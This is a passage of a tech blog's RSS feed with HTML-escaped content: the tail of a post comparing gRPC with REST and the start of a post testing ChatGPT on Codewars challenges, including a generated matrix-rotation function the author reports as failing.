&lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;Latency&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Higher (multiple requests)&lt;/td&gt;&#xA;          &lt;td&gt;Lower (multiplexing)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h3 id=&#34;how-fast-is-grpc-compared-to-json-rest&#34;&gt;How fast is gRPC compared to JSON REST?&lt;/h3&gt;&#xA;&lt;p&gt;But how efficient is gRPC compared to REST? Check out this comparison by &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/@EmperorRXF/evaluating-performance-of-rest-vs-grpc-1b8bdf0b22da/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Matthew Leung&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;gRPC&lt;/th&gt;&#xA;          &lt;th&gt;REST&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Peticiones/Segundo&lt;/td&gt;&#xA;          &lt;td&gt;48.00&lt;/td&gt;&#xA;          &lt;td&gt;4.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Latencia de la petición&lt;/td&gt;&#xA;          &lt;td&gt;6.15&lt;/td&gt;&#xA;          &lt;td&gt;8.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;CPU ms/s&lt;/td&gt;&#xA;          &lt;td&gt;832.00&lt;/td&gt;&#xA;          &lt;td&gt;404.00&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;CPU/petición&lt;/td&gt;&#xA;          &lt;td&gt;17.33&lt;/td&gt;&#xA;          &lt;td&gt;101.11&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;As you can see &lt;em&gt;gRPC is much faster than REST plus JSON when processing requests&lt;/em&gt;, performance tests vary from 5 to 10 times.&lt;/p&gt;&#xA;&lt;h3 id=&#34;why-is-grpc-so-efficient&#34;&gt;Why is gRPC so efficient?&lt;/h3&gt;&#xA;&lt;p&gt;There are several factors that make gRPCs extremely efficient for exchanging information:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses protobuffers as a structure for data exchange.&lt;/li&gt;&#xA;&lt;li&gt;The use of HTTP2 and multiplexing.&lt;/li&gt;&#xA;&lt;li&gt;Compression of headers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The binary format of the protobuffers translates into a smaller amount of information to be transported and easier and more efficient handling by computers.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, the use of HTTP/2 allows gRPC to send multiple streams of information over a single TCP connection (multiplexing) in a bidirectional and asynchronous manner.&lt;/p&gt;&#xA;&lt;h2 id=&#34;types-of-grpc-and-streaming&#34;&gt;Types of gRPC and streaming&lt;/h2&gt;&#xA;&lt;p&gt;The HTTP/2 protocol is versatile and allows gRPC to support four types of client-server communications:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Unary&lt;/strong&gt;. The client and server communicate using a simple request and response, as in REST.&#xA;response, as in REST.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Client--&gt;Server;&#xA;    Server--&gt;Client;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Server-side streaming&lt;/strong&gt;. The server sends multiple responses to&#xA;a request from the client.&lt;/p&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Client--&gt;Server;&#xA;    Server--&gt;Client;&#xA;    Server--&gt;Client;&#xA;    Server--&gt;Client;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ul&gt;&#xA;&lt;li&gt;Client-side streaming. The client sends multiple requests to the server&#xA;The client sends multiple requests to the server and the server responds with a single response. Used in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/how-to-create-a-mcp-server-and-mcp-tools-from-scratch/&#34;&gt;MCP Model Context Protocol&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Client--&gt;Server;&#xA;    Client--&gt;Server;&#xA;    Client--&gt;Server;&#xA;    Server--&gt;Client;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;ul&gt;&#xA;&lt;li&gt;Two-way streaming**. Both the client and the server send multiple requests and&#xA;multiple requests and responses, respectively.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;mermaid&#34;&gt;graph TD;&#xA;    Server--&gt;Client;&#xA;    Server--&gt;Client;&#xA;    Server--&gt;Client;&#xA;    Client--&gt;Server;&#xA;    Client--&gt;Server;&#xA;    Client--&gt;Server;&#xA;&lt;/div&gt;&#xA;  &#xA;  &#xA;  &lt;p&gt;As you can see this is super useful for services that require constant exchanges of large amounts of information, such as microservices.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-go-lang-grpc-capabilities&#34;&gt;Other Go lang gRPC capabilities&lt;/h2&gt;&#xA;&lt;h3 id=&#34;interceptors&#34;&gt;Interceptors&lt;/h3&gt;&#xA;&lt;p&gt;gRPC has a mechanism to intercept messages and modify them to your liking, you can think of it as a kind of middleware.&lt;/p&gt;&#xA;&lt;h3 id=&#34;load-balancing&#34;&gt;Load balancing&lt;/h3&gt;&#xA;&lt;p&gt;gRPC provides load balancing capabilities natively.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reference-resources&#34;&gt;Reference resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/rpc/how-rpc-works&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;How RPC works?&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=gnchfOojMk4&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;What&amp;rsquo;s RPC an introduction guide&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://itnext.io/a-minimalist-guide-to-grpc-e4d556293422&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;RPC minimalist guide&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://devopedia.org/grpc&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Devopedia&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Protobuffers allow you to create a Go Lang gRPC API that has the characteristic of being incredibly faster, because it uses binary instead of other less optimized formats (such as JSON), in this post you will learn what this type of API is and why it is so fast.&lt;/p&gt;&#xA;&lt;p&gt;In my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;the basic characteristics of a REST API&lt;/a&gt;&#xA; I mentioned to you that, besides REST, there were other types of APIS, one of them is gRPC, which is derived from RPC, so let&amp;rsquo;s start the post talking about the latter.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>I Test ChatGPT With Codewars Coding Challenges</title>
      <link>https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/</link>
      <pubDate>Mon, 12 Dec 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/</guid>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;ChatGPT is breaking with everything previously known in artificial intelligence, some developers are worried that it may replace them in their jobs, just as Github Copilot threatened at the time. In this post I test &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/chat-gpt-searles-chinese-room-and-consciousness/&#34;&gt;ChatGPT&amp;rsquo;s supposed intelligence&lt;/a&gt;&#xA; against three codewars challenges.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-codewars-work&#34;&gt;How does Codewars work?&lt;/h2&gt;&#xA;&lt;p&gt;Before we start you need to understand that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Codewars&lt;/a&gt;&#xA; is a social network for programmers where code challenges written by the same users are shared. Each challenge can be tested with a series of tests and, if it passes all of them, the challenge is considered completed. These challenges are called katas.&lt;/p&gt;&#xA;&lt;p&gt;Each kata has a level of difficulty, defined by its number of kyu (as in martial arts), with the highest numbers being the easiest and the lowest numbers the most difficult, ranging from the 8th kyu to the 1st kyu.&lt;/p&gt;&#xA;&lt;p&gt;The challenges are very varied, ranging from classic tests, such as obtaining prime numbers, to more complex ones, such as writing code without exceeding two characters per line.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;test-with-common-requests-to-chatgpt&#34;&gt;Test with common requests to ChatGPT&lt;/h2&gt;&#xA;&lt;p&gt;To start with I was testing ChatGPT with a series of simple and popular requests. I found that ChatGPT was able to return the correct code each time with its explanation and logical steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fibonacci numbers&lt;/li&gt;&#xA;&lt;li&gt;Prime numbers&lt;/li&gt;&#xA;&lt;li&gt;Palindromes&lt;/li&gt;&#xA;&lt;li&gt;Validate email, strings, numbers&lt;/li&gt;&#xA;&lt;li&gt;Very specific tasks of some frameworks. For example: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/&#34;&gt;Replace User model in Django.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/ChatGPT-Django-users.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/ChatGPT-Django-users.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Notice how it knows how to replace the user in Django, but it assumes that the best choice for a location field is a CharField.&#34; width=&#34;834&#34; height=&#34;854&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Notice how it knows how to replace the user in Django, but it assumes that the best choice for a location field is a CharField.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Frankly, I am surprised with the capabilities of generating correct code that ChatGPT has for simple tasks and with abundant information on the net; I did not expect such capability.&lt;/p&gt;&#xA;&lt;p&gt;For this entry I&amp;rsquo;m going to test this artificial intelligence with algorithmic puzzles that require a little more than googling information on the internet.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;codewars-test-selection&#34;&gt;Codewars test selection&lt;/h2&gt;&#xA;&lt;p&gt;For these proofs I tried to choose a middle ground between those proofs with very straightforward requirements and with abundant solutions on the web (such as fibonacci numbers or primes) and those that require a lot of additional information, very complex premises or that require extra context. I also focused on those solutions that are not so popular on the web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-rotate-the-matrix-counter-clockwise-n---times-6kyu&#34;&gt;ChatGPT vs Rotate the matrix counter-clockwise N - times! (6kyu)&lt;/h2&gt;&#xA;&lt;p&gt;The challenge of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/5919f3bf6589022915000023&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Rotate Matrix Anti-Clockwise N - Times!&lt;/a&gt;&#xA; test is: In this kata your mission is to rotate a matrix counter-clockwise&amp;quot; n&amp;quot; number of times. That is, rotate a matrix against the clock &amp;ldquo;n&amp;rdquo; number of times.&lt;/p&gt;&#xA;&lt;p&gt;The input I used in ChatGPT to generate the code is as follows: Create a function that rotates an array counterclockwise &amp;ldquo;n&amp;rdquo; number of times.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rotate matrix with ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rotate matrix with ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The Python code generated by our artificial intelligence is as follows:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Este código fue generado por OpenAI-ChatGPT&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;rotate_matrix&lt;/span&gt;(matrix, n):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# create a new matrix with the same dimensions as the input matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    rotated_matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; j &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]))] &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# loop over the elements of the input matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix)):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; j &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;])):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# rotate the element at position (i, j) counter clockwise by n positions&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# and store it in the corresponding position in the new matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_i &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (i &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; n) &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_j &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (j &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; n) &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;len&lt;/span&gt;(matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rotated_matrix[rotated_i][rotated_j] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; matrix[i][j]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# return the rotated matrix&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; rotated_matrix&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;response-analysis&#34;&gt;Response analysis&lt;/h3&gt;&#xA;&lt;p&gt;After executing the code we can see that all the tests fail, the matrix rotates, but more times than necessary.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-codewars.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/rotate-matrix-codewars.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rotate a Matrix with ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rotate a Matrix with ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;I want to emphasize that ChatGPT produces syntactically correct code, respecting identation, with intuitive variable names and even with a logic that seems correct, only at first glance, but upon closer examination, fails to &amp;ldquo;reason&amp;rdquo; its logic. Yes, I know that artificial intelligences do not reason.&lt;/p&gt;&#xA;&lt;h2 id=&#34;chatgpt-vs-find-nth-inverse-number-extreme&#34;&gt;ChatGPT vs Find Nth Inverse Number (Extreme)&lt;/h2&gt;&#xA;&lt;p&gt;The challenge &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.codewars.com/kata/600c18ec9f033b0008d55eec&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Find the nth Reverse Number&lt;/a&gt;&#xA; consists of: The nth reverse number needs to be returned. (Assume the reverse numbers start with 0 as shown in the example.)&lt;/p&gt;&#xA;&lt;p&gt;That is, find the palindrome number &amp;ldquo;n&amp;rdquo; and with the appropriate condition of doing so with excellent Big O performance.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;7&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;8&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;22&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;33&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;44&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;55&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;66&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;77&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;88&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;99&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;101&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-ChatGPT.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-ChatGPT.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Find a Palindrome number with ChatGPT&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Find a Palindrome number with ChatGPT&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;response-analysis-1&#34;&gt;Response analysis&lt;/h3&gt;&#xA;&lt;p&gt;After running the code I was surprised to realize that, after a little tweaking, the result is correct!&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-codewars.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/artificial-intelligence/i-test-chatgpt-with-codewars-coding-challenges/images/palindrome-codewars.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Chat GPT code to find a palindrome number&#34; width=&#34;1920&#34; height=&#34;968&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Chat GPT code to find a palindrome number&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In addition to producing syntactically correct code, the generated code works perfectly, even containing comments.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 